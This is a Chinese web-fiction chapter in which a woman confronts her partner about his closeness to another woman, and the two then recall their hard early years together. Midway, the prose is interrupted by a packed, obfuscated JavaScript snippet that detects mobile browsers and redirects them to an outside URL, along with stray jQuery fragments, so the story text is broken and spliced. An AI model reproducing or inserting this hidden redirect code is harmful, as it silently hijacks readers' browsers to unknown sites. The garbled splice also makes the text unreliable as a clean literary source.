温阮回到家的时候，玄关的灯亮着。
陆砚辞坐在换鞋凳上，外套没脱，手指里夹着那支不常抽的烟。
烟灰缸里已经躺了三四个烟头，还有一张揉皱的纸巾，上面沾着干了的汤汁痕迹。
黎薇的保温袋放在茶几上，袋子拉链没拉，能看到里面的汤碗已经空了。
温阮换了鞋，把帆布袋挂在玄关的钩子上。陆砚辞掐了烟，站起来走到她面前。
他比她高出一个头，俯视着她的时候，灯光从他背后照过来，他的脸有一半隐在阴影里。
“你去哪了？”他问。
“书店。”
“又是那个书店。”
温阮绕过他往客厅走，他跟上来，脚步声跟得很紧，像影子一样甩不掉。
她走到厨房给自己倒了杯水，靠在料理台边上喝。
他站在厨房门口，双手叉在腰上，呼吸有点粗。
“你知道黎薇今天为什么来吗？”他说。
温阮没接话。
“因为我让她来的。”陆砚辞的声音不高，但每个字都砸得很实，“她给我发消息说她炖了汤，我没回。她自己跑过来的。她说她想跟你处好关系，想让你喜欢她——”
温阮把水杯放下，杯底磕在大理石台面上，发出一声清响：“你喜欢她。”
陆砚辞的嘴张了一下，话卡在喉咙里。
“我不是说那种喜欢，”温阮看着他，“我是说，你跟她待在一起的时候比我轻松。你跟她有话说，你跟她能笑，你跟她在一起的时候不用绷着。你喜欢那种感觉。”
陆砚辞的喉结动了，手从腰上放下来，垂在身侧。
“那不代表什么。”
“不代表什么？”温阮笑了一下，很淡，“你吃她递过来的蛋糕，你帮她搬家，你在雪场教她滑雪，你让她进我们的家，送汤给你喝。陆砚辞，你告诉我这些不代表什么，那你告诉我它们代表什么？”
他偏过头，避开她的视线。
“她父亲是我的合作伙伴。”
“你以前住地下室的时候也跟人合作过，你怎么没把人家女儿领回家？”
陆砚辞转回脸，眼眶泛红：“那不一样。”
“有什么不一样？”
“——”他张了张嘴，没说出话。
温阮放下水杯，从料理台后面走出来，走到他面前，抬头看着他。
他们之间的距离不到半步，她能看到他眼底的血丝，看到他嘴角那道因为紧张而抿出来的白线。
“我认识你六年了，”她说，“你的表情我比你自己都清楚。你喜欢跟她待在一起，你也知道她对你有点意思，但你不想改变。因为那样太麻烦了，维持现状对你来说最省事。”
“我没有——”
“你有。”温阮打断他，“你每一次接她的电话，你每一次跟她吃饭，你每一次告诉她我心情不好是因为我不懂事，你都在做选择。你选了她那一边。”
陆砚辞的手抬起来，像是想扶她的肩膀。
她往后退了一步，他的手停在了半空，手指微微抖着。
“温阮，你听我说——”
“我听了，”她说，“我一直都在听。你说你忙，你说你累，你说你要撑起这个家。可是陆砚辞，你有没有想过，我也在撑。”
厨房里的钟在走，嗒嗒嗒的。油烟机上面的指示灯亮着一个小红点，一明一灭。
陆砚辞的手慢慢放了下来。
他的肩膀塌了，整个人矮了一截，像是有什么东西从里面把他抽空了一半。
他看着她的眼睛，嘴唇动了几次，最后只挤出来一句话：“那你告诉我，我该怎么做。”
温阮看着他，那双曾经只装得下她的眼睛，现在装了很多东西，有疲惫，有自责，有茫然，还有一点点求饶的意思。
她伸手，把他胸前那根皱了的毛衣线头揪下来，轻轻放在他手心里。
“我不知道，”她说，“这个问题该问你自己。”
那天晚上，两人坐在客厅沙发里，隔着一个人的距离。
电视没开，茶几上那盆绿萝的叶子垂下来，搭在玻璃面上。
陆砚辞的烟放在烟灰缸旁边，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17777086|210050||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
他拿起来看了一眼，又放下了。
温阮手里捏着那本《局外人》，翻到某一页，视线落在一行字上，看了很久，一个字都没进脑子。
“我们以前，”陆砚辞忽然开口，声音在安静里显得很突兀，“是怎么变成现在这样的？”
温阮把书合上，放在膝盖上。
他侧着头看她，额前的头发垂下来一缕，挡住了半边眉毛。
领口的扣子解了一颗，锁骨露出来，上面有一道浅浅的印子，是昨天摔门出去时外套拉链刮的。
他没提，她也没问。
“你记不记得刚搬到那个地下室的时候，”她说，“暖气坏了，我发烧，你跑了一整条街去买退烧药。”
陆砚辞的嘴角动了一下:“跑了三家药店，都关门了。最后在一家便利店买到的。”
“你回来的时候鞋都是湿的，北京下雪，你跑了四十分钟。你说跑快点就不冷了，跑得越快越暖和。”
他低头笑了一下，很短，像一根火柴擦了一下就灭了:“那时候**穷。”
“但那时候你一趟都不会让我跑。”温阮说，“你想吃宵夜，自己下去买。你想喝水，自己下去倒。我脚崴了你背我上下楼，背了半个月。”
陆砚辞的手指在膝盖上蜷了蜷，他转过头看着她:“你觉得我现在对你不好？”
“不是不好，”温阮说，“是不一样了。”
他沉默了一会儿，窗外的风吹进来，窗帘轻轻动了一下。
他站起来，走到窗边，把半开的窗户关上了。
回来的时候他没有坐回原来的位置，而是坐到了她旁边，膝盖碰着她的膝盖，隔着两层布料，温度慢慢渗过来。
“你跟我说实话，”他说，声音压得很低，“你是不是已经不喜欢我了？”
温阮愣了一下，偏头看他。
他的侧面在灯光下轮廓很深，眼窝凹着，下巴上那道新冒出来的胡茬青了一片。
他问这句话的时候没有看她，盯着茶几上那盆绿萝，像是在问一盆植物。
她沉默了很久。